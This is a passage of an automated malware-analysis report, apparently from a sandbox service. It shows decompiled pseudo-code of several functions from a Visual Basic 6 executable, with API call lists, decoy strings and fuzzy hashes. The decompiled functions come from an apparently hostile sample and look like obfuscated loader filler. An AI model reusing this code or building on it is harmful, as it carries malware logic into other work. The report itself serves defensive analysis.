                    						_push(0x4113bc);
                    						_push(_v68);
                    						_push(_v72);
                    						L00401690();
                    						_v84 = _t62;
                    					}
                    					L0040168A();
                    					if( *0x419010 != 0) {
                    						_v88 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v88 = 0x419010;
                    					}
                    					_t66 =  &_v28;
                    					L0040169C();
                    					_v68 = _t66;
                    					_t55 =  *((intOrPtr*)( *_v68 + 0x78))(_v68,  &_v64, _t66,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x394))( *_v88));
                    					asm("fclex");
                    					_v72 = _t55;
                    					if(_v72 >= 0) {
                    						_v92 = _v92 & 0x00000000;
                    					} else {
                    						_push(0x78);
                    						_push(0x4115b8);
                    						_push(_v68);
                    						_push(_v72);
                    						L00401690();
                    						_v92 = _t55;
                    					}
                    					_v24 = _v64;
                    					L0040168A();
                    				}
                    				asm("wait");
                    				_push(0x4177c1);
                    				return _t55;
                    			}























                    0x00417627
                    0x00417632
                    0x00417633
                    0x0041763a
                    0x0041763d
                    0x00417645
                    0x00417648
                    0x0041764f
                    0x00417656
                    0x00417663
                    0x00417668
                    0x0041766b
                    0x0041766c
                    0x0041767c
                    0x00417683
                    0x00417688
                    0x0041768e
                    0x0041769c
                    0x004176b6
                    0x0041769e
                    0x0041769e
                    0x004176a3
                    0x004176a8
                    0x004176ad
                    0x004176ad
                    0x004176d1
                    0x004176d5
                    0x004176da
                    0x004176e5
                    0x004176eb
                    0x004176ed
                    0x004176f4
                    0x00417710
                    0x004176f6
                    0x004176f6
                    0x004176fb
                    0x00417700
                    0x00417703
                    0x00417706
                    0x0041770b
                    0x0041770b
                    0x00417717
                    0x00417723
                    0x0041773d
                    0x00417725
                    0x00417725
                    0x0041772a
                    0x0041772f
                    0x00417734
                    0x00417734
                    0x00417758
                    0x0041775c
                    0x00417761
                    0x00417770
                    0x00417773
                    0x00417775
                    0x0041777c
                    0x00417795
                    0x0041777e
                    0x0041777e
                    0x00417780
                    0x00417785
                    0x00417788
                    0x0041778b
                    0x00417790
                    0x00417790
                    0x0041779c
                    0x004177a2
                    0x004177a2
                    0x004177a7
                    0x004177a8
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 0041763D
                    • __vbaVarDup.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417663
                    • #557.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 0041766C
                    • __vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417683
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004176A8
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?), ref: 004176D5
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000180,?,?,?,?,?), ref: 00417706
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?), ref: 00417717
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,?), ref: 0041772F
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?), ref: 0041775C
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004115B8,00000078,?,?,?,?,?,?,?), ref: 0041778B
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?), ref: 004177A2
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresultNew2$#557Chkstk
                    • String ID: 4-4-4
                    • API String ID: 2286932286-3794238894
                    • Opcode ID: 5f3fe008379ca2a5cc3254554c59b37554a7a12d910a0440e5f4eb3f9830966e
                    • Instruction ID: d6a001d8fba8582cc9cc2d864c1aa557bb0ae2084c7835cd3cc2e54716ab47c1
                    • Opcode Fuzzy Hash: 5f3fe008379ca2a5cc3254554c59b37554a7a12d910a0440e5f4eb3f9830966e
                    • Instruction Fuzzy Hash: 5341FA74900209EFCB10DFE0C855FEDBBB8BF08704F14452AE512BB2A1DB796986DB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 49%
                    			E00417F78(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr* _v12;
                    				void* _v24;
                    				char _v28;
                    				intOrPtr _v36;
                    				intOrPtr _v44;
                    				intOrPtr _v52;
                    				intOrPtr _v60;
                    				intOrPtr _v68;
                    				intOrPtr _v76;
                    				void* _v80;
                    				signed int _v84;
                    				intOrPtr* _v92;
                    				signed int _v96;
                    				signed int _t35;
                    				signed int _t39;
                    				char* _t43;
                    				intOrPtr _t55;
                    				intOrPtr* _t68;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t68;
                    				_t35 = 0x4c;
                    				L004014B0();
                    				_v12 = _t68;
                    				_v8 = 0x401420;
                    				L00401642();
                    				L00401648();
                    				_push(_t35);
                    				_push(L"undervognsbehandlings");
                    				L0040164E();
                    				asm("sbb eax, eax");
                    				_v80 =  ~( ~_t35 + 1);
                    				L0040165A();
                    				_t39 = _v80;
                    				if(_t39 == 0) {
                    					if( *0x419010 != 0) {
                    						_v92 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v92 = 0x419010;
                    					}
                    					_t55 =  *((intOrPtr*)( *_v92));
                    					_t43 =  &_v28;
                    					L0040169C();
                    					_v80 = _t43;
                    					_v68 = 0x80020004;
                    					_v76 = 0xa;
                    					_v52 = 0x80020004;
                    					_v60 = 0xa;
                    					_v36 = 0x80020004;
                    					_v44 = 0xa;
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					 *_t68 =  *0x401418;
                    					_t39 =  *((intOrPtr*)( *_v80 + 0x1cc))(_v80, _t55, 0x10, 0x10, 0x10, _t43,  *((intOrPtr*)(_t55 + 0x374))( *_v92));
                    					asm("fclex");
                    					_v84 = _t39;
                    					if(_v84 >= 0) {
                    						_v96 = _v96 & 0x00000000;
                    					} else {
                    						_push(0x1cc);
                    						_push(0x4113ac);
                    						_push(_v80);
                    						_push(_v84);
                    						L00401690();
                    						_v96 = _t39;
                    					}
                    					L0040168A();
                    				}
                    				asm("wait");
                    				_push(0x4180e7);
                    				return _t39;
                    			}






















                    0x00417f7d
                    0x00417f88
                    0x00417f89
                    0x00417f92
                    0x00417f93
                    0x00417f9b
                    0x00417f9e
                    0x00417fa5
                    0x00417faf
                    0x00417fb4
                    0x00417fb5
                    0x00417fba
                    0x00417fc1
                    0x00417fc6
                    0x00417fcd
                    0x00417fd2
                    0x00417fd8
                    0x00417fe6
                    0x00418000
                    0x00417fe8
                    0x00417fe8
                    0x00417fed
                    0x00417ff2
                    0x00417ff7
                    0x00417ff7
                    0x00418011
                    0x0041801b
                    0x0041801f
                    0x00418024
                    0x00418027
                    0x0041802e
                    0x00418035
                    0x0041803c
                    0x00418043
                    0x0041804a
                    0x00418054
                    0x0041805e
                    0x0041805f
                    0x00418060
                    0x00418061
                    0x00418065
                    0x0041806f
                    0x00418070
                    0x00418071
                    0x00418072
                    0x00418076
                    0x00418080
                    0x00418081
                    0x00418082
                    0x00418083
                    0x0041808b
                    0x00418096
                    0x0041809c
                    0x0041809e
                    0x004180a5
                    0x004180c1
                    0x004180a7
                    0x004180a7
                    0x004180ac
                    0x004180b1
                    0x004180b4
                    0x004180b7
                    0x004180bc
                    0x004180bc
                    0x004180c8
                    0x004180c8
                    0x004180cd
                    0x004180ce
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00417F93
                    • #669.MSVBVM60(?,?,?,?,004014B6), ref: 00417FA5
                    • __vbaStrMove.MSVBVM60(?,?,?,?,004014B6), ref: 00417FAF
                    • __vbaStrCmp.MSVBVM60(undervognsbehandlings,00000000,?,?,?,?,004014B6), ref: 00417FBA
                    • __vbaFreeStr.MSVBVM60(undervognsbehandlings,00000000,?,?,?,?,004014B6), ref: 00417FCD
                    • __vbaNew2.MSVBVM60(0041192C,00419010,undervognsbehandlings,00000000,?,?,?,?,004014B6), ref: 00417FF2
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 0041801F
                    • __vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 00418054
                    • __vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 00418065
                    • __vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 00418076
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001CC,?,?,00000000), ref: 004180B7
                    • __vbaFreeObj.MSVBVM60(?,?,00000000), ref: 004180C8
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Chkstk$Free$#669CheckHresultMoveNew2
                    • String ID: undervognsbehandlings
                    • API String ID: 3068271998-11411429
                    • Opcode ID: 3e08d4c8c49efb2361ac5b3bdce1702121d455d1a064979219063aa850568c3d
                    • Instruction ID: 71c32d99b8e8e6eeb4aa0f91346420f7233cd2f09fa54084b621d59a365d203f
                    • Opcode Fuzzy Hash: 3e08d4c8c49efb2361ac5b3bdce1702121d455d1a064979219063aa850568c3d
                    • Instruction Fuzzy Hash: 63414B709406089BDB01DFE1C846BDEBBB9AF09708F10452AF501BB2A1CBBE5885CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 49%
                    			E00414A0F(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v24;
                    				intOrPtr _v28;
                    				intOrPtr _v32;
                    				char _v36;
                    				char _v52;
                    				void* _v72;
                    				signed int _v76;
                    				intOrPtr* _v84;
                    				signed int _v88;
                    				char* _t37;
                    				char* _t42;
                    				signed int _t45;
                    				intOrPtr _t66;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t66;
                    				_push(0x44);
                    				L004014B0();
                    				_v12 = _t66;
                    				_v8 = 0x401218;
                    				_v52 = 1;
                    				_t37 =  &_v52;
                    				_push(_t37);
                    				L004015EE();
                    				_v72 =  ~(0 | _t37 != 0x0000ffff);
                    				L00401636();
                    				if(_v72 != 0) {
                    					_push(0);
                    					_push(L"Klint");
                    					_push( &_v52);
                    					L004015E8();
                    					_push(0x10);
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					_push(0);
                    					_push(_v24);
                    					L00401660();
                    					L00401636();
                    				}
                    				if( *0x419010 != 0) {
                    					_v84 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v84 = 0x419010;
                    				}
                    				_t42 =  &_v36;
                    				L0040169C();
                    				_v72 = _t42;
                    				_t45 =  *((intOrPtr*)( *_v72 + 0x1ac))(_v72, _t42,  *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x37c))( *_v84));
                    				asm("fclex");
                    				_v76 = _t45;
                    				if(_v76 >= 0) {
                    					_v88 = _v88 & 0x00000000;
                    				} else {
                    					_push(0x1ac);
                    					_push(0x411410);
                    					_push(_v72);
                    					_push(_v76);
                    					L00401690();
                    					_v88 = _t45;
                    				}
                    				L0040168A();
                    				_v32 = 0x44790400;
                    				_v28 = 0x5afc;
                    				_push(0x414b54);
                    				L0040168A();
                    				return _t45;
                    			}


















                    0x00414a14
                    0x00414a1f
                    0x00414a20
                    0x00414a27
                    0x00414a2a
                    0x00414a32
                    0x00414a35
                    0x00414a3c
                    0x00414a43
                    0x00414a46
                    0x00414a47
                    0x00414a57
                    0x00414a5e
                    0x00414a69
                    0x00414a6b
                    0x00414a6d
                    0x00414a75
                    0x00414a76
                    0x00414a7b
                    0x00414a7e
                    0x00414a88
                    0x00414a89
                    0x00414a8a
                    0x00414a8b
                    0x00414a8c
                    0x00414a8e
                    0x00414a91
                    0x00414a99
                    0x00414a99
                    0x00414aa5
                    0x00414abf
                    0x00414aa7
                    0x00414aa7
                    0x00414aac
                    0x00414ab1
                    0x00414ab6
                    0x00414ab6
                    0x00414ada
                    0x00414ade
                    0x00414ae3
                    0x00414aee
                    0x00414af4
                    0x00414af6
                    0x00414afd
                    0x00414b19
                    0x00414aff
                    0x00414aff
                    0x00414b04
                    0x00414b09
                    0x00414b0c
                    0x00414b0f
                    0x00414b14
                    0x00414b14
                    0x00414b20
                    0x00414b25
                    0x00414b2c
                    0x00414b33
                    0x00414b4e
                    0x00414b53

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00414A2A
                    • #560.MSVBVM60(00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A47
                    • __vbaFreeVar.MSVBVM60(00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A5E
                    • #716.MSVBVM60(00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A76
                    • __vbaChkstk.MSVBVM60(00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A7E
                    • __vbaLateIdSt.MSVBVM60(?,00000000,00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A91
                    • __vbaFreeVar.MSVBVM60(?,00000000,00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A99
                    • __vbaNew2.MSVBVM60(0041192C,00419010,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414AB1
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,00000001), ref: 00414ADE
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,000001AC,?,?,?,?,?,?,?,00000001), ref: 00414B0F
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00000001), ref: 00414B20
                    • __vbaFreeObj.MSVBVM60(00414B54,?,?,?,?,?,?,?,00000001), ref: 00414B4E
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$Chkstk$#560#716CheckHresultLateNew2
                    • String ID: Klint
                    • API String ID: 3748626564-1944180061
                    • Opcode ID: db26ee28ff082af34f683f1dfd782030f899b422cec4709bd6a0a10575216a64
                    • Instruction ID: 960c185106eaa88ac158f89539066fd895db146f1856fc9c3b8b2a21ffb498af
                    • Opcode Fuzzy Hash: db26ee28ff082af34f683f1dfd782030f899b422cec4709bd6a0a10575216a64
                    • Instruction Fuzzy Hash: A7311A70A50218ABCB10EFD1CD56BEEB7B8BF09704F24082AF101BB1A1D7BD6945CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00415AF6(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a20) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				void* _v28;
                    				signed int _v32;
                    				char _v36;
                    				signed int _v44;
                    				intOrPtr _v52;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				intOrPtr* _v64;
                    				signed int _v68;
                    				signed int _v76;
                    				intOrPtr* _v80;
                    				signed int _v84;
                    				signed int _v88;
                    				intOrPtr* _v92;
                    				signed int _v96;
                    				signed int _t71;
                    				signed int _t76;
                    				char* _t81;
                    				signed int _t85;
                    				intOrPtr _t105;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t105;
                    				_push(0x4c);
                    				L004014B0();
                    				_v12 = _t105;
                    				_v8 = 0x4012e0;
                    				L00401684();
                    				if( *0x41931c != 0) {
                    					_v80 = 0x41931c;
                    				} else {
                    					_push(0x41931c);
                    					_push(0x41137c);
                    					L00401696();
                    					_v80 = 0x41931c;
                    				}
                    				_v56 =  *_v80;
                    				_t71 =  *((intOrPtr*)( *_v56 + 0x14))(_v56,  &_v36);
                    				asm("fclex");
                    				_v60 = _t71;
                    				if(_v60 >= 0) {
                    					_v84 = _v84 & 0x00000000;
                    				} else {
                    					_push(0x14);
                    					_push(0x41136c);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v84 = _t71;
                    				}
                    				_v64 = _v36;
                    				_t76 =  *((intOrPtr*)( *_v64 + 0x60))(_v64,  &_v32);
                    				asm("fclex");
                    				_v68 = _t76;
                    				if(_v68 >= 0) {
                    					_v88 = _v88 & 0x00000000;
                    				} else {
                    					_push(0x60);
                    					_push(0x4114f4);
                    					_push(_v64);
                    					_push(_v68);
                    					L00401690();
                    					_v88 = _t76;
                    				}
                    				_v76 = _v32;
                    				_v32 = _v32 & 0x00000000;
                    				L00401648();
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v92 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v92 = 0x419010;
                    				}
                    				_t81 =  &_v36;
                    				L0040169C();
                    				_v56 = _t81;
                    				_v44 = _v44 & 0x00000000;
                    				_v52 = 2;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t85 =  *((intOrPtr*)( *_v56 + 0x1b8))(_v56, 0x10, _t81,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x318))( *_v92));
                    				asm("fclex");
                    				_v60 = _t85;
                    				if(_v60 >= 0) {
                    					_v96 = _v96 & 0x00000000;
                    				} else {
                    					_push(0x1b8);
                    					_push(0x411410);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v96 = _t85;
                    				}
                    				L0040168A();
                    				_push(0x415cb7);
                    				L0040165A();
                    				L0040165A();
                    				return _t85;
                    			}


























                    0x00415afb
                    0x00415b06
                    0x00415b07
                    0x00415b0e
                    0x00415b11
                    0x00415b19
                    0x00415b1c
                    0x00415b29
                    0x00415b35
                    0x00415b4f
                    0x00415b37
                    0x00415b37
                    0x00415b3c
                    0x00415b41
                    0x00415b46
                    0x00415b46
                    0x00415b5b
                    0x00415b6a
                    0x00415b6d
                    0x00415b6f
                    0x00415b76
                    0x00415b8f
                    0x00415b78
                    0x00415b78
                    0x00415b7a
                    0x00415b7f
                    0x00415b82
                    0x00415b85
                    0x00415b8a
                    0x00415b8a
                    0x00415b96
                    0x00415ba5
                    0x00415ba8
                    0x00415baa
                    0x00415bb1
                    0x00415bca
                    0x00415bb3
                    0x00415bb3
                    0x00415bb5
                    0x00415bba
                    0x00415bbd
                    0x00415bc0
                    0x00415bc5
                    0x00415bc5
                    0x00415bd1
                    0x00415bd4
                    0x00415bde
                    0x00415be6
                    0x00415bf2
                    0x00415c0c
                    0x00415bf4
                    0x00415bf4
                    0x00415bf9
                    0x00415bfe
                    0x00415c03
                    0x00415c03
                    0x00415c27
                    0x00415c2b
                    0x00415c30
                    0x00415c33
                    0x00415c37
                    0x00415c41
                    0x00415c4b
                    0x00415c4c
                    0x00415c4d
                    0x00415c4e
                    0x00415c57
                    0x00415c5d
                    0x00415c5f
                    0x00415c66
                    0x00415c82
                    0x00415c68
                    0x00415c68
                    0x00415c6d
                    0x00415c72
                    0x00415c75
                    0x00415c78
                    0x00415c7d
                    0x00415c7d
                    0x00415c89
                    0x00415c8e
                    0x00415ca9
                    0x00415cb1
                    0x00415cb6

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00415B11
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00415B29
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,004014B6), ref: 00415B41
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00415B85
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,00000060), ref: 00415BC0
                    • __vbaStrMove.MSVBVM60 ref: 00415BDE
                    • __vbaFreeObj.MSVBVM60 ref: 00415BE6
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415BFE
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415C2B
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00415C41
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,000001B8), ref: 00415C78
                    • __vbaFreeObj.MSVBVM60 ref: 00415C89
                    • __vbaFreeStr.MSVBVM60(00415CB7), ref: 00415CA9
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckFreeHresult$ChkstkNew2$CopyMove
                    • String ID:
                    • API String ID: 1989687073-0
                    • Opcode ID: 6e648103ec7f30a2917e4a4c7fc09cd3cf04d301c7b9760e13daf47f2e6b18b8
                    • Instruction ID: 5871aa4421f8f4a0d31638c80879a62b598591c589d3ee32bf71ced9037a011d
                    • Opcode Fuzzy Hash: 6e648103ec7f30a2917e4a4c7fc09cd3cf04d301c7b9760e13daf47f2e6b18b8
                    • Instruction Fuzzy Hash: 3251B170D00608EFDB00EFD5D885BDEBBB5AF08709F10442AF511BB2A1D7796985DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 52%
                    			E00417D9A(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				signed int _v28;
                    				char _v32;
                    				intOrPtr _v40;
                    				intOrPtr _v48;
                    				intOrPtr* _v52;
                    				signed int _v56;
                    				intOrPtr* _v68;
                    				signed int _v72;
                    				intOrPtr* _v76;
                    				signed int _v80;
                    				char* _t58;
                    				signed int _t62;
                    				char* _t66;
                    				signed int _t70;
                    				void* _t86;
                    				void* _t88;
                    				intOrPtr _t89;
                    				signed int _t93;
                    
                    				_t89 = _t88 - 0xc;
                    				 *[fs:0x0] = _t89;
                    				L004014B0();
                    				_v16 = _t89;
                    				_v12 = 0x401408;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x38,  *[fs:0x0], 0x4014b6, _t86);
                    				if( *0x419010 != 0) {
                    					_v68 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v68 = 0x419010;
                    				}
                    				_t58 =  &_v32;
                    				L0040169C();
                    				_v52 = _t58;
                    				_v40 = 0x80020004;
                    				_v48 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t62 =  *((intOrPtr*)( *_v52 + 0x1fc))(_v52, 0x10, _t58,  *((intOrPtr*)( *((intOrPtr*)( *_v68)) + 0x32c))( *_v68));
                    				asm("fclex");
                    				_v56 = _t62;
                    				if(_v56 >= 0) {
                    					_v72 = _v72 & 0x00000000;
                    				} else {
                    					_push(0x1fc);
                    					_push(0x4113f0);
                    					_push(_v52);
                    					_push(_v56);
                    					L00401690();
                    					_v72 = _t62;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v76 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v76 = 0x419010;
                    				}
                    				_t66 =  &_v32;
                    				L0040169C();
                    				_v52 = _t66;
                    				_v40 = 0x80020004;
                    				_v48 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t70 =  *((intOrPtr*)( *_v52 + 0x1fc))(_v52, 0x10, _t66,  *((intOrPtr*)( *((intOrPtr*)( *_v76)) + 0x380))( *_v76));
                    				asm("fclex");
                    				_v56 = _t70;
                    				_t93 = _v56;
                    				if(_t93 >= 0) {
                    					_v80 = _v80 & 0x00000000;
                    				} else {
                    					_push(0x1fc);
                    					_push(0x4113f0);
                    					_push(_v52);
                    					_push(_v56);
                    					L00401690();
                    					_v80 = _t70;
                    				}
                    				L0040168A();
                    				asm("fldz");
                    				L00401528();
                    				L004015E2();
                    				asm("fcomp qword [0x401400]");
                    				asm("fnstsw ax");
                    				asm("sahf");
                    				if(_t93 != 0) {
                    					_push(0x40);
                    					L0040156A();
                    					_v28 = _t70;
                    				}
                    				asm("wait");
                    				_push(0x417f59);
                    				return _t70;
                    			}
























                    0x00417d9d
                    0x00417dac
                    0x00417db6
                    0x00417dbe
                    0x00417dc1
                    0x00417dc8
                    0x00417dd7
                    0x00417de1
                    0x00417dfb
                    0x00417de3
                    0x00417de3
                    0x00417de8
                    0x00417ded
                    0x00417df2
                    0x00417df2
                    0x00417e16
                    0x00417e1a
                    0x00417e1f
                    0x00417e22
                    0x00417e29
                    0x00417e33
                    0x00417e3d
                    0x00417e3e
                    0x00417e3f
                    0x00417e40
                    0x00417e49
                    0x00417e4f
                    0x00417e51
                    0x00417e58
                    0x00417e74
                    0x00417e5a
                    0x00417e5a
                    0x00417e5f
                    0x00417e64
                    0x00417e67
                    0x00417e6a
                    0x00417e6f
                    0x00417e6f
                    0x00417e7b
                    0x00417e87
                    0x00417ea1
                    0x00417e89
                    0x00417e89
                    0x00417e8e
                    0x00417e93
                    0x00417e98
                    0x00417e98
                    0x00417ebc
                    0x00417ec0
                    0x00417ec5
                    0x00417ec8
                    0x00417ecf
                    0x00417ed9
                    0x00417ee3
                    0x00417ee4
                    0x00417ee5
                    0x00417ee6
                    0x00417eef
                    0x00417ef5
                    0x00417ef7
                    0x00417efa
                    0x00417efe
                    0x00417f1a
                    0x00417f00
                    0x00417f00
                    0x00417f05
                    0x00417f0a
                    0x00417f0d
                    0x00417f10
                    0x00417f15
                    0x00417f15
                    0x00417f21
                    0x00417f26
                    0x00417f28
                    0x00417f2d
                    0x00417f32
                    0x00417f38
                    0x00417f3a
                    0x00417f3b
                    0x00417f3d
                    0x00417f3f
                    0x00417f44
                    0x00417f44
                    0x00417f47
                    0x00417f48
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00417DB6
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417DED
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417E1A
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00417E33
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417E6A
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417E7B
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00417E93
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417EC0
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00417ED9
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F10
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F21
                    • _CIsin.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F28
                    • __vbaFpR8.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F2D
                    • #569.MSVBVM60(00000040), ref: 00417F3F
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Chkstk$CheckFreeHresultNew2$#569Isin
                    • String ID:
                    • API String ID: 3633085554-0
                    • Opcode ID: e28c8d60dd186c669df72c6a6e418507d8cb237c49aeeba9c17938059c9e6d5b
                    • Instruction ID: 56c2b7fc2b93a3cff64016a5d0bdaf91211d4714b3462ee21ba3bcc85e839b2c
                    • Opcode Fuzzy Hash: e28c8d60dd186c669df72c6a6e418507d8cb237c49aeeba9c17938059c9e6d5b
